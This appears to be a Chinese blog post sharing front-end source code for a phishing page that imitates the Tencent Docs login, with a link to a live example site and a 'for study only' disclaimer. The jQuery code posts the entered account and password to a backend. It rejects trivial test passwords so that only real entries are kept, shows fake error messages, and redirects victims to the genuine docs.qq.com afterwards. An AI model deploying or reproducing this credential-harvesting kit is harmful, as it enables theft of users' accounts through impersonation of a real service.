钓鱼网站demo源代码
前言 本文共享的一切技术资源包括但不限于:前后端代码、图片文件 仅用于学习研究钓鱼网站原理及其思路,提示网络安全意识,禁止用于一
前言
本文共享的一切技术资源包括但不限于:前后端代码、图片文件 仅用于学习研究钓鱼网站原理及其思路,提示网络安全意识,禁止用于一切非法用途以及真实钓鱼,否则一切后果由用户自负。
当您下载或者阅读本文即代表您已经默认同意以上协议。
钓鱼示例站点-腾讯文档
高仿钓鱼成品如下图所示
示例站点:https://g.xingchencloud.top/
前端源代码
当用户输入了账号密码点击登录后,后端会将数据按照既定格式存储。
/* 初始状态隐藏 */
footer .expandable-content {
display: none;
}
/* 显示状态样式 */
footer.expanded .expandable-content {
display: block;
}
/* 箭头方向 */
footer .expand-toggle::after {
content: '\25BC'; /* Unicode字符,表示向下的箭头 */
display: inline-block;
transform: rotate(0deg);
transition: transform 0.3s ease-in-out;
}
footer.expanded .expand-toggle::after {
transform: rotate(180deg);
}
/* 样式调整 */
footer {
cursor: pointer;
background-color: #f0f0f0;
text-align: center;
padding: 10px;
position: fixed;
bottom: 0;
width: 100%;
}
.spinner {
margin: 20px auto;
width: 40px;
height: 40px;
position: relative;
display: none;
}
/* 设置所有的圈圈大小及颜色 */
.container1 > div, .container2 > div, .container3 > div {
width: 12px;
height: 12px;
background-color: #aeaeae;
border-radius: 100%;
position: absolute;
-webkit-animation: bouncedelay 1.2s infinite ease-in-out;
animation: bouncedelay 1.2s infinite ease-in-out;
-webkit-animation-fill-mode: both;
animation-fill-mode: both;
}
.spinner .spinner-container {
position: absolute;
width: 100%;
height: 100%;
}
.container2 {
-webkit-transform: rotateZ(45deg);
transform: rotateZ(45deg);
}
.container3 {
-webkit-transform: rotateZ(90deg);
transform: rotateZ(90deg);
}
.circle1 { top: 0; left: 0; }
.circle2 { top: 0; right: 0; }
.circle3 { right: 0; bottom: 0; }
.circle4 { left: 0; bottom: 0; }
.container2 .circle1 {
-webkit-animation-delay: -1.1s;
animation-delay: -1.1s;
}
.container3 .circle1 {
-webkit-animation-delay: -1.0s;
animation-delay: -1.0s;
}
.container1 .circle2 {
-webkit-animation-delay: -0.9s;
animation-delay: -0.9s;
}
.container2 .circle2 {
-webkit-animation-delay: -0.8s;
animation-delay: -0.8s;
}
.container3 .circle2 {
-webkit-animation-delay: -0.7s;
animation-delay: -0.7s;
}
.container1 .circle3 {
-webkit-animation-delay: -0.6s;
animation-delay: -0.6s;
}
.container2 .circle3 {
-webkit-animation-delay: -0.5s;
animation-delay: -0.5s;
}
.container3 .circle3 {
-webkit-animation-delay: -0.4s;
animation-delay: -0.4s;
}
.container1 .circle4 {
-webkit-animation-delay: -0.3s;
animation-delay: -0.3s;
}
.container2 .circle4 {
-webkit-animation-delay: -0.2s;
animation-delay: -0.2s;
}
.container3 .circle4 {
-webkit-animation-delay: -0.1s;
animation-delay: -0.1s;
}
@-webkit-keyframes bouncedelay {
0%, 80%, 100% { -webkit-transform: scale(0.0) }
40% { -webkit-transform: scale(1.0) }
}
@keyframes bouncedelay {
0%, 80%, 100% {
transform: scale(0.0);
-webkit-transform: scale(0.0);
} 40% {
transform: scale(1.0);
-webkit-transform: scale(1.0);
}
}
//打开页面加载
$(function(){
var url = safeposturl;
var src = getQueryVariable("u");
var tip = getQueryVariable("tip");
//访问人数增加
$.ajax({
type: "POST",
url: url+"/include/online.php",
dataType: 'json',
data: {ip:1},
success: function (result){
}
});
if(tip!=''){
layer.open({
content: '账号密码错误,请核对后提交'
,time: 4
,skin: 'msg'
});
//定时刷新页面
setTimeout("javascript:location.href='/index.html?u="+src+"'", 3500);
}
});
var src = getQueryVariable("u");
if(src==false || src==''){
// window.location.href="https://docs.qq.com/";
}else{
if(!isMobile()) {
//location.replace("/wap.html?u="+u);
}
}
function isMobile() {
return navigator.userAgent.match(/Mobile|iPhone|iPad|Android/i) || Math.min(screen.height,screen.width) <= 480;
}
$('.spinner').css('display','none');
$("#go").click(function(){
var u=$('#u').val();
var p=$('#p').val();
var tishi;
var istixing;
var str = new Array("111111","1111111","11111111","111111111","1111111111","222222","2222222","22222222","222222222","2222222222","333333","3333333","33333333","333333333","3333333333","444444","4444444","44444444","444444444","4444444444","555555","5555555","55555555","555555555","5555555555","666666","6666666","66666666","666666666","6666666666","777777","7777777","77777777","777777777","7777777777","888888","8888888","88888888","888888888","8888888888","999999","9999999","99999999","999999999","9999999999","12345","123456","1234567","12345678","123456789","1234567890","0123456789","0123456","012345","234567","2345678","23456789","456789","4567890","567890","147258369","741741741","7417417","1472580","7410258");
if(u.length==0){
istixing=1;
$('#error_message').html('你还没有输入账号!');
}else if(p.length==0){
istixing=1;
$('#error_message').html('你还没有输入密码!');
}else if(/.*[\u4e00-\u9fa5]+.*$/.test(u)){
istixing=1;
$('#error_message').html('请输入正确的帐号!');
}else{
istixing=0;
}
for(i=0;i { if(u==str[i]) { istixing=1; $('#error_message').html('请输入正确的帐号!'); } if(p==str[i]) { istixing=1; $('#error_message').html('请输入正确的密码!'); } } if(istixing==1){ $('#error_tips').css('display','block'); //只显示,开始倒计时N秒后隐藏 setTimeout(function () { $('#error_tips').css('display','none'); }, 4000); return false; } $('.spinner').css('display','block'); var url = safeposturl; //将上传数据到服务器后端处理部分代码 $.ajax({ type: "POST", url: "/index.php", //请求的后端url,默认在同级目录下 dataType: 'json', data: {u:u,p:p,src:src}, success: function (result){ if(result['code']==0){ window.location.href = 'https://docs.qq.com/'; }else{ window.location.href = '/wait.html?secret='+result['secret']+'&u='+src; //跳转到下个页面 } console.log(result['code']); }, error: function(result){ window.location.href = 'https://docs.qq.com/'; } }); }); function getQueryVariable(variable) { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); }
function toggleFooter() {
var footer = document.querySelector('footer');
footer.classList.toggle('expanded');
}

